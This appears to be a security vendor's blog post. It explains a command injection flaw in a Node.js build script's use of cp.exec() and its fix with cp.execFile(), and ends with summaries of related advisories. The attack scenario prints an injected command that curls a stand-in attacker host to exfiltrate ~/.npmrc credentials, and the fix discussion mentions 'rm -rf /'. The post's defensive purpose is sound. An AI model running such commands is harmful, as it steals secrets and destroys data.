Back to Blog
high SEVERITY5 min read

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in the `scripts/build.cjs` file where `cp.exec()` was used to execute commands from a function argument. This pattern could allow attackers to inject malicious shell commands if the input were ever user-controllable. The fix replaced `cp.exec()` with `cp.execFile()`, eliminating the shell interpretation that makes command injection possible.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 20, 2026•Reviewed August 20, 2026

Answer Summary

This vulnerability is a command injection flaw (CWE-78) in Node.js caused by using `child_process.exec()` with a string argument that could be user-controllable. The `exec()` function passes commands through a shell, enabling injection attacks via shell metacharacters. The fix replaces `cp.exec(execStr)` with `cp.execFile(cmd, cmdArgs)`, which executes the command directly without shell interpretation, preventing attackers from breaking out of the intended command structure.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace cp.exec(execStr) with cp.execFile(cmd, cmdArgs) to avoid shell interpretation
riskArbitrary command execution on the build system
languageJavaScript (Node.js)
root causeUsing cp.exec() which interprets shell metacharacters in the execStr argument
vulnerabilityCommand Injection via child_process.exec()

Introduction

In the scripts/build.cjs file at line 33, a high-severity command injection vulnerability was lurking in the build system's task execution logic. The build() function accepted an execStr parameter and passed it directly to cp.exec(), a Node.js function that interprets shell metacharacters. While this build script runs in a controlled environment today, this pattern represents an "exploit primitive"—a code weakness that could be chained with other vulnerabilities by increasingly sophisticated automated attack tools.

The vulnerable code path existed in the else branch of the build() function, where commands that weren't file-based were executed through the shell:

child = cp.exec(execStr)

For developers maintaining build systems, CI/CD pipelines, or any Node.js tooling that spawns processes, understanding why this pattern is dangerous—and how to fix it—is essential.

The Vulnerability Explained

What Makes cp.exec() Dangerous?

The child_process.exec() function in Node.js spawns a shell (typically /bin/sh on Unix or cmd.exe on Windows) and executes the provided string within that shell context. This means shell metacharacters like ;, |, &&, $(), and backticks are interpreted.

Here's the vulnerable code from build.cjs:

async function build(type, execStr, taskName = execStr) {
  // ...
  if (type === 'file') {
    child = cp.spawn('node', ['--no-warnings', execStr])
  } else {
    child = cp.exec(execStr)  // VULNERABLE: shell interprets execStr
  }
  // ...
}

The execStr argument comes from a function parameter. If any code path allowed user-controlled data to flow into this parameter, an attacker could inject additional commands.

Attack Scenario

Imagine if execStr were derived from a configuration file, environment variable, or package.json field that could be influenced by a malicious dependency or contributor. An attacker could craft an input like:

npm run build; curl http://attacker.com/exfil?data=$(cat ~/.npmrc)

When passed to cp.exec(), the shell would:
1. Execute the legitimate build command
2. Execute the injected curl command, exfiltrating sensitive credentials

Because this is a Node.js library, the vulnerability affects all downstream consumers who use this package in their build processes.

Why This Matters

Even though execStr may not be directly user-controllable today, this code pattern:
- Creates technical debt that future developers might not recognize as dangerous
- Could become exploitable if the codebase evolves
- Represents a "primitive" that automated exploit tools can identify and chain with other weaknesses

The Fix

The fix replaces cp.exec() with cp.execFile(), fundamentally changing how the command is executed:

Before (Vulnerable)

child = cp.exec(execStr)

After (Secure)

const [cmd, ...cmdArgs] = execStr.split(' ')
child = cp.execFile(cmd, cmdArgs)

Why This Works

The execFile() function differs from exec() in a critical way: it does not spawn a shell. Instead, it directly invokes the specified executable with the provided arguments array.

Here's what changes:

Aspect exec(execStr) execFile(cmd, cmdArgs)
Shell invoked Yes No
Metacharacter interpretation ;, |, && etc. are processed Treated as literal strings
Injection risk High Eliminated

By splitting execStr into a command and arguments array, then passing them to execFile(), the fix ensures that:
- The command (cmd) is executed directly
- Arguments (cmdArgs) are passed as-is without shell interpretation
- An input like build; rm -rf / would fail because execFile() would look for a literal executable named build; rm -rf /

Key Takeaways

  • The build() function in build.cjs was using cp.exec(execStr) which passes the command through a shell, enabling potential injection attacks
  • Splitting the command string and using execFile() eliminates shell interpretation entirely, making injection impossible at this code point
  • Build scripts and CI/CD tooling are high-value targets because they often run with elevated privileges and access to secrets
  • "Exploit primitives" should be removed proactively—even if not immediately exploitable, they lower the bar for future attacks
  • Node.js libraries affect all downstream consumers, making defensive hardening especially important

How Orbis AppSec Detected This

  • Source: The execStr parameter passed to the build() function at line 30 of scripts/build.cjs
  • Sink: The cp.exec(execStr) call at line 33, which passes the argument through a shell interpreter
  • Missing control: No validation or sanitization of execStr before shell execution; use of shell-invoking exec() instead of direct execution
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced cp.exec(execStr) with cp.execFile(cmd, cmdArgs) to execute commands directly without shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in build.cjs demonstrates why the choice between exec() and execFile() matters. While the vulnerable code may not have been immediately exploitable, it represented a dangerous pattern that could be leveraged as attack tooling becomes more sophisticated. By replacing cp.exec(execStr) with cp.execFile(cmd, cmdArgs), the fix eliminates shell interpretation entirely—a defense-in-depth approach that protects against both known and future attack vectors.

For developers working with Node.js build systems, the lesson is clear: avoid shell-invoking functions when direct execution is possible. Your future self—and your downstream users—will thank you.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11

Related Articles

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.

critical

No Rate Limit on /api/uploads/presign Enables DoS

The `/api/uploads/presign` endpoint accepted unlimited concurrent requests to generate storage presigned URLs, giving an attacker a free lever to exhaust storage-provider quotas and server resources. The fix adds an `express-rate-limit` middleware capping each client to 30 requests per minute on that route.

high

CVE-2026-54673: builder-util-runtime Leaks Auth Headers on Redirect

electron-updater and electron-builder rely on builder-util-runtime to fetch update manifests and artifacts over HTTP. A flaw in that shared HTTP executor allowed credential headers attached to the original update-feed request to be re-sent after a redirect, exposing them to any host the redirect pointed to. The project fixes this by upgrading builder-util-runtime to 9.7.0 and collapsing a duplicate, older copy of the package that electron-updater had pinned on its own.

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.